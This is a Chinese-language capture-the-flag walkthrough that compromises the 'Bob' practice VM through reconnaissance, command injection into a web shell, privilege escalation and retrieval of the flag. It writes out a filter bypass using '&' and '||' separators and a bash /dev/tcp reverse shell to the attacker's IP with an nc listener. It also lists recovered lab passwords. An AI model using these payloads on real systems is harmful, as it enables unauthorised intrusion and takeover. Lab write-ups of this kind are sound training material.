Bob中的flag
打开Bob,不知道用户密码
信息收集
存活主机扫描
使用kali对C网段进行扫描:
arp-scan -l
开放端口扫描
可知Bob所在ip为192.168.1.11,使用nmap扫描Bob开放的端口:
namp -Pn -p- 192.168.1.11
#-Pn:扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描
#-p-:-p指定扫描的端口,后面可以接一个范围例如(-p1-65533),就代表扫描1-65533端口,-p-同理
扫出有两个开放端口一个http服务端口,另一个不知道(应该是ssh),浏览器访问80端口:
出来一个Milburg Highschool(米尔堡高中?)的网站,左上角有登录按键,试试看有没有弱口令:
发现不给我登录!不允许外部登录
网站信息收集
那么先利用御剑扫后台看看能不能扫出东西:
扫出一个关键的后台,robots.txt:是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
这可是个敏感的协议信息,找到就不要错过。
命令执行
访问robots.txt:
有个*_shell.php文件,打开查看一下,是一个可查看Bob的命令执行框:
输入whoami可以回馈到给我们'www-data',但是输入一些探查目录表的就不可以执行了
那说明这个命令框还是可以通过我们的输入来得到我们想要的信息,那么应该是通过了设置敏感字符检测来进行防护,那我们可以用一些分割符号来进行连带输入
插入的'||'符号意思是,如果前面可以执行那么就直接执行前面的命令然后结束;也可以插入'&'来使命令共同执行
反弹shell
那么就可以在通过这个命令框执行反弹shell的操作,拿到bob虚拟机的控制权。
开启监听端口
反弹shell需要开启一个用于接收反弹回来的shell命令的窗口,因此需要在攻击机上面执行:
nc -lvvp 9090 #在9090端口开启监听
写入反弹shell命令并且执行
在命令行输入
id&echo "bash -i >& /dev/tcp/192.168.1.6/9090 0>&1" | bash
bash -i >& /dev/tcp/192.168.1.6/9090 0>&1 #为反弹shell命令
echo:echo会将输入的字符串送往标准输出。
bash:当bash作为一个登录的交互shell被调用
查看监听端口
拿到了Bob的权限,退出到Bob的桌面,看到有一个flag.txt文件打开查看发现没有权限打开:
那我们就去找一下home目录里有没有用户密码
home里面有四个用户分别是bob,elliot,jc和seb
提权操作
分别查看每个用户里都有啥,先查看bob用户下的文件
ls -alh
查看bob用户
发现有一个passwordfile.html,查看一下,应该是jc用户的密码,还有seb用户的密码
看到这请先去看看elliot用户,再回头看这一段
(根据elliot老头说的话,明白bob是boss,所以又回头仔细看看bob有没有藏着掖着)在docunment下有三个文件:
查看一下staff.txt文件里面有什么
staff.txt
Seb: #这小子喜欢Elliot老头
Seems to like Elliot
Wants to do well at his job
Gave me a backdoored FTP to instal that apparently Elliot gave him
James: #懒惰虫
Does nothing
Pretty Lazy
Doesn't give a shit about his job
Elliot: #敌人,互相想让对方开除
Keeps to himself
Always needs to challenge everything I do
Keep an eye on him
Try and get him fired
login.txt.gpg文件(因为是.gpg文件所以需要密码才能看)
Secret文件下的
红线处一个又一个目录下都在说此地无银三百两,所以秘密肯定在里面!文本里面也是废话连篇,但是,那么整齐让我很在意,为什么要那么刻意的用echo来输入然后“”来括起来,有没有一种可能是藏头废话!那么就得到一个‘HARPOCRATES’,这个可能是bob密码,也可能是前面gpg文件的密码,先试试gpg文件。
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
发现没有权限,应该是www-data权限有点低,换成elliot老头试试看(elliot老头密码在下方),得到bob密码为b0bcat_
elliot用户
有一个.txt的文本,可以进行查看的,让我们来看看里面有什么......
6......这个elliot老头也太6了,挖个flag也能看到那么精彩的戏份,翻译如下:
(搞得我回去再看了一下扫出来的passwords.html)发现也是同样的在发牢骚...
得到elliot老头的密码:theadminisdumb,但是使用这个人的用户,也不能获取root权限.(还是没有bob地位高啊)
拿到bob密码
ssh连接成功:攻击机输入(也可以直接在bob登录)
ssh bob@192.168.1.11 -p 25468 #因为可以从开放端口来看ssh的连接端口被改成了25468
使用bob进入到root权限
成功进入到root用户,再返回根目录打开flag.txt
成功拿到flag!